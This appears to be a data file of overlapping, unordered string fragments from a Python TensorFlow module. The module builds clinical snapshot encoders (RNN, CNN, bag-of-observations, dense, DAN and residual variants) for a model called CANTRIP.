"obs IDs to batch x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags",
"dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer /",
"SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None,",
"snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause things are about",
"Store as a sparse tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape)",
"= tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask =",
"NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units,",
"CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def",
"model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size,",
"expects a clinical snapshot encoder function which takes as input the CANTRIPModel and",
"flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder",
"tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function:",
"the final clinical snapshot encoding as [batch x max_seq_len x embedding_size] \"\"\" import",
"clinical snapshot encoding \"\"\" # 1. Evaluate which entries in model.observations are non-zero",
"iterable multiple dense layers will be added using the respective hidden units :param",
"None: windows = [3, 4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\"",
"memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the model bags =",
"Specifically, returns a V-length binary vector such that the v-th index is 1",
"More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size",
"use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with",
"x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel",
"residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans')",
"# Reshape to (batch * seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations,",
"Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer",
"[model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a bag of",
"model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a bag of clinical",
"in range(num_layers): slice_ = min(i + 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:])",
"embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len x encoding_size]",
"(batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder",
"of activation function to use between layers :return: clinical snapshot encoding \"\"\" activation_fn",
"tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x return",
"get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape",
"iff the v-th observation occurs in the given snapshot :param model: CANTRIP model",
"flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add",
"vector encoding all clinical observations included in a snapshot :param model: CANTRIP model",
"with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) #",
"model.embedding_size]) # Apply parallel convolutional and pooling layers outputs = [] for n",
"tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will be 1 for observed observations,",
"for use with CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder function which",
"tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get",
"model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN",
"* model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of observations rather than",
"tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x,",
"to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return",
"for n in windows: if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training)",
"where[:, :-1] # Concat batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices],",
":param activation: type of activation function to use between layers :return: clinical snapshot",
"name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all",
"x + inputs def _rmlp_encoder(model): # Convert batch x seq_len x doc_len tensor",
"model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use",
"embedded of the V-length binary vector encoding all clinical observations included in a",
"= min(i + 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x =",
"bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer,",
"= vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size,",
"x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def",
"x = tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x",
"'gelu': activation_fn = layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu elif activation",
"tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling layers",
"encoder with the given number of hidden layers. If :param num_hidden: number of",
"a multi-layer rnn cell will be creating using each number of hidden units",
"vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x =",
"model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x encoding_size]",
"= tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will be 1 for observed",
"kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor):",
"tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder",
"number of hidden units :param cell_fn: rnn_cell constructor to use :return: rnn_encoder function",
"+ residuals) def _vhn_encoder(model): # Convert batch x seq_len x doc_len tensor of",
"dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings",
"axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers",
":param cell_fn: rnn_cell constructor to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\"",
"\"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as",
"iterable, a multi-layer rnn cell will be creating using each number of hidden",
"# More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to",
"had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified",
"non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get the vocabulary",
"if windows is None: windows = [3, 4, 5] def _cnn_encoder(model): \"\"\" :type",
"RNN to all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes,",
"(batch * seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len,",
"[] for n in windows: if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs,",
"to 0.0 (no dropout) :return: cnn_encoder function \"\"\" if windows is None: windows",
"flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask",
"of clinical observations. Specifically, returns an embedded of the V-length binary vector encoding",
"are about to weird (i.e., too big to fit in GPU memory) with",
"if iterable multiple dense layers will be added using the respective hidden units",
"tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense observation",
"to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\"",
"debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had",
"dense layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output",
"* seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size,",
"# Reshape to [batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size])",
"BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout,",
"def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with the given number",
"The dense shape will be the same as model.observations, but using the entire",
"model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in range(num_layers): slice_",
"flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags,",
"with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training)",
"is iterable, a multi-layer rnn cell will be creating using each number of",
"defaults to 1,000 :param dropout: dropout probability; defaults to 0.0 (no dropout) :return:",
"in the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]])",
"tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings,",
"vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will be",
"Represents snapshots as a bag of clinical observations. Specifically, returns a V-length binary",
"seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size])",
"axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence indices for",
"encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause everything will be vocabulary-length",
"tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len],",
"seq_len x doc_len tensor of obs IDs to batch x seq_len x vocab_size",
"activation=None)(flat_bags) residuals = [] for i in range(num_layers): slice_ = min(i + 1,",
"bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint,",
"layers. If :param num_hidden: number of hidden (memory) units use; num_hidden is iterable,",
"SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in range(num_layers): slice_ = min(i +",
"_dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations =",
"(memory) units use; num_hidden is iterable, a multi-layer rnn cell will be creating",
"observations in the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size,",
"observation embeddings and average; if iterable multiple dense layers will be added using",
"snapshot size; requires reshaping to # (batch x seq_len) x 1 so we",
"tensor of obs IDs to batch x seq_len x vocab_size bag-of-observation vectors bags",
"fun dense layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final",
"to # (batch x seq_len) x 1 so we can divide by this",
":type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size,",
"Reshape to [batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return",
"snapshot encoders for use with CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder",
"same projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size],",
"_rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations",
"windows: if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels,",
"name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with",
"None if activation == 'gelu': activation_fn = layers.gelu elif activation == 'relu': activation_fn",
"= get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags)",
"with the given number of hidden layers. If :param num_hidden: number of hidden",
"\"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to",
"units in dense layers between observation embeddings and average; if iterable multiple dense",
"embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) #",
"= tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation",
"n in windows: if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer",
"num_hidden is iterable, a multi-layer rnn cell will be creating using each number",
"layers will be added using the respective hidden units :param activation: type of",
"Apply parallel convolutional and pooling layers outputs = [] for n in windows:",
"model.observations are non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get",
"vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and",
"= model.vocabulary_size # Store as a sparse tensor because they're neat st =",
"tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an embedded bag of clinical observations.",
"for observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense",
"snapshot encoding; if iterable multiple dense layers will be added using the respective",
"encoder function which takes as input the CANTRIPModel and adds clinical snapshot encoding",
"training=model.training) # Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More",
"final clinical snapshot encoding as [batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1",
"tensorflow.compat.v1 as tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an",
"= self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer",
"and sequence indices for non-zero observations tensor_indices = where[:, :-1] # Concat batch,",
"with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x",
"= tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3.",
"2. Get the vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices",
"together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active",
"flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun #",
"non-zero observations tensor_indices = where[:, :-1] # Concat batch, sequence, and vocabulary indices",
"avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages of embedded clinical observations.",
"where = tf.where(mask) # 2. Get the vocabulary indices for non-zero observations vocab_indices",
"activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported",
"* doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size,",
"a sparse tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st)",
"== 'relu': activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh elif",
"residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x =",
"too big to fit in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector",
"bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return",
"residuals) def _vhn_encoder(model): # Convert batch x seq_len x doc_len tensor of obs",
"# Reshape back to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len,",
"indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will be 1",
"Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for",
"isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer",
"average; if iterable multiple dense layers will be added using the respective hidden",
"= layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu elif activation == 'tanh':",
"'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def",
"vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len,",
"layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the",
"More fun dense layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) #",
"# Reshape to (batch * seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape(",
"reshaping to # (batch x seq_len) x 1 so we can divide by",
"V-length binary vector encoding all clinical observations included in a snapshot :param model:",
"name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" %",
"[] for i in range(num_layers): slice_ = min(i + 1, depth) x =",
"max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents",
"Final output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size",
"activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer,",
"Our sparse tensor will be 1 for observed observations, 0, otherwise ones =",
"output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a",
"5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations",
"in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping observations",
"with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the model bags = get_bag_vectors(model)",
"mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average",
"using each number of hidden units :param cell_fn: rnn_cell constructor to use :return:",
"1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x",
"def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages of embedded",
"between average embeddings and snapshot encoding; if iterable multiple dense layers will be",
"for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the",
"0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will be",
"returns a V-length binary vector such that the v-th index is 1 iff",
"KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" %",
"0.0 (no dropout) :return: cnn_encoder function \"\"\" if windows is None: windows =",
"x seq_len) x 1 so we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes,",
"model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if model.dropout > 0: #",
"model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling layers outputs = [] for",
"tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n +",
"weird (i.e., too big to fit in GPU memory) with tf.device(\"/cpu:0\"): # Add",
"= tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training)",
"observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will",
"model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents in all batches flattened_snapshot_encodings =",
"tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs def",
"to 1,000 :param dropout: dropout probability; defaults to 0.0 (no dropout) :return: cnn_encoder",
"tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs, i, units):",
"graph returning the final clinical snapshot encoding as [batch x max_seq_len x embedding_size]",
"of obs IDs to batch x seq_len x vocab_size bag-of-observation vectors bags =",
"_cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations =",
"in model.observations are non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask) # 2.",
"by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size,",
"with tf.variable_scope('bow_encoder'): # Use the CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"):",
"return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a bag of clinical observations.",
"vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size *",
"doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size]",
"vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs",
"clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause things are",
"dropout :param windows: number of consecutive observations to consider; defaults to [3, 4,",
"activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size,",
"be added using the respective hidden units :param activation: type of activation function",
"# Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape",
"obs_hidden_units[-1]]) # Divide by active number of observations rather than the padded snapshot",
"encoders for use with CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder function",
"layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we use the same projection",
"snapshot encoding \"\"\" # 1. Evaluate which entries in model.observations are non-zero mask",
"\"\"\" activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif activation",
"1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs, axis=-1)",
"obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping observations in",
"# Add dense observation layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer",
"units in dense layers between average embeddings and snapshot encoding; if iterable multiple",
"avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers for",
"with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch",
"return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN",
"import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the given",
"in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back",
"modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause",
"with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x =",
"= tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense",
"num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x seq_len x encoding_size)",
"neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents",
"x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x +",
"num_layers=10, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif",
"nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x,",
"so we use the same projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags,",
